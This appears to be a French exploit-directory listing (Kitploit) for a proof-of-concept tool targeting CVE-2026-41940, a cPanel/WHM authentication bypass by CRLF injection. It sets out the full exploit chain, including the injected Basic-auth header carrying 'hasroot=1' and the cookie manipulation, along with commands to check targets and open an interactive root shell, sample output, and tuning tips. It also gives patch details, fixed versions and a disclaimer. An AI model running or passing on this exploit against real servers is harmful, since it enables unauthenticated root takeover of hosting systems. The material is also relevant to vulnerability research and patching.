Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CPANEL-CVE-2026-41940 — Proof-of-concept exploit for CVE-2026-41940, a critical cPanel/WHM authentication bypass via CRLF injection, enabling unauthenticated root access and interactive shell. | Kitploit
Outils/GitHubGitHub/0xabdoulaye/cpanel-cve-2026-41940
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHub0xabdoulaye/cpanel-cve-2026-41940

CPANEL-CVE-2026-41940

Proof-of-concept exploit for CVE-2026-41940, a critical cPanel/WHM authentication bypass via CRLF injection, enabling unauthenticated root access and interactive shell.

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
21il y a 3 moisPas encore vérifié

CVE-2026-41940 — cPanel/WHM Contournement d'Authentification

Auteur : SilySec
Recherche originale : Sina Kheirkhah (@SinSinology) / watchTowr Labs
Sévérité : Critique (CVSS 9.8)
Type : Injection CRLF → Contournement d'authentification → Shell root


Description

CVE-2026-41940 est une vulnérabilité critique dans cPanel/WHM qui permet à un attaquant non authentifié d'obtenir un accès root complet via une injection CRLF dans le gestionnaire d'authentification Basic de cpsrvd.

La faille combine trois faiblesses :

  1. Injection CRLF non filtrée — la fonction saveSession() dans Cpanel/Session.pm n'assainit pas les caractères \r\n avant l'écriture sur disque lorsque la clé <ob> est absente du cookie.
  2. Encodeur désactivé — sans le segment <obHEX> dans le cookie de session, l'encodeur par session ne s'active pas, laissant les octets CRLF écrits en clair dans le fichier de session.
  3. Rechargement du cache — Cpanel::Session::Modify::save() relit le fichier brut et promeut les clés CRLF injectées dans le cache JSON, rendant la session pleinement authentifiée.

Versions affectées


Chaîne d'exploitation

root@kitploit:~
POST /login/?login_only=1          [mauvais mot de passe]
  └─► cookie: whostmgrsession=:ID,<obHEX>

Supprimer ,<obHEX>  →  :ID          [désactive l'encodeur]

GET / + Cookie: :ID
      + Authorization: Basic root:x\r\nhasroot=1\r\n...
  └─► cpsrvd écrit les octets CRLF bruts dans le fichier de session

GET /scripts2/listaccts + Cookie: :ID   [sans token de sécurité]
  └─► do_token_denied() → Cpanel::Session::Modify::save()
  └─► cache JSON reconstruit avec hasroot=1, tfa_verified=1

→ Session authentifiée en root

Utilisation

Prérequis

root@kitploit:~
pip install requests
# Pour le mode --terminal (optionnel) :
pip install paramiko

Vérification de la vulnérabilité

root@kitploit:~
python3 poc.py --target https://CIBLE:2087

Obtenir un shell root interactif

root@kitploit:~
python3 poc.py --target https://CIBLE:2087 --terminal

Forcer le hostname canonique

root@kitploit:~
python3 poc.py --target https://1.2.3.4:2087 --hostname cpanel.exemple.com

Exemple de sortie

root@kitploit:~
[*] target   : https://1.2.3.4:2087
[*] canonical: cpanel.exemple.com

[1/4] minting preauth session ...
       session  = :AbCdEfGh...,0123456789abcdef
       stripped = :AbCdEfGh...

[2/4] injecting CRLF payload ...
       307 → leaked token = /cpsess1234567890

[3/4] triggering cache propagation ...
       do_token_denied → Cpanel::Session::Modify::save() fired

[4/4] verifying root access ...

  ✔  AUTH BYPASS CONFIRMED
     cPanel version : 11.136.0.5
     cookie         : whostmgrsession=%3AAbCdEfGh...
     WHM URL        : https://1.2.3.4:2087/cpsess1234567890/

Points techniques importants

  • Le hostname canonique doit être utilisé dans le header Host (pas l'IP) — cpsrvd gère les sessions différemment selon le hostname
  • Le timestamp dans le payload doit être 9999999999 (fixe, avenir lointain) — un timestamp courant échoue
  • L'ordre des clés dans le payload injecté est important : successful_internal_auth_with_timestamp doit venir en premier

Correctif

Le patch déplace l'appel à filter_sessiondata() à l'intérieur de saveSession() et ajoute un encodage conditionnel lorsque la clé <ob> est absente, empêchant toute écriture en clair.

Mettre à jour cPanel/WHM immédiatement vers les versions corrigées listées ci-dessus.


Avertissement

Cet outil est fourni à des fins de recherche et de test interne uniquement. Toute utilisation sur des systèmes sans autorisation explicite est illégale. SilySec décline toute responsabilité en cas d'utilisation abusive.

Télécharger l’outil
BrancheDernière version vulnérableVersion corrigée
110.0.x11.110.0.9611.110.0.97
118.0.x11.118.0.6211.118.0.63
126.0.x11.126.0.5311.126.0.54
132.0.x11.132.0.2811.132.0.29
134.0.x11.134.0.1911.134.0.20
136.0.x11.136.0.511.136.0.6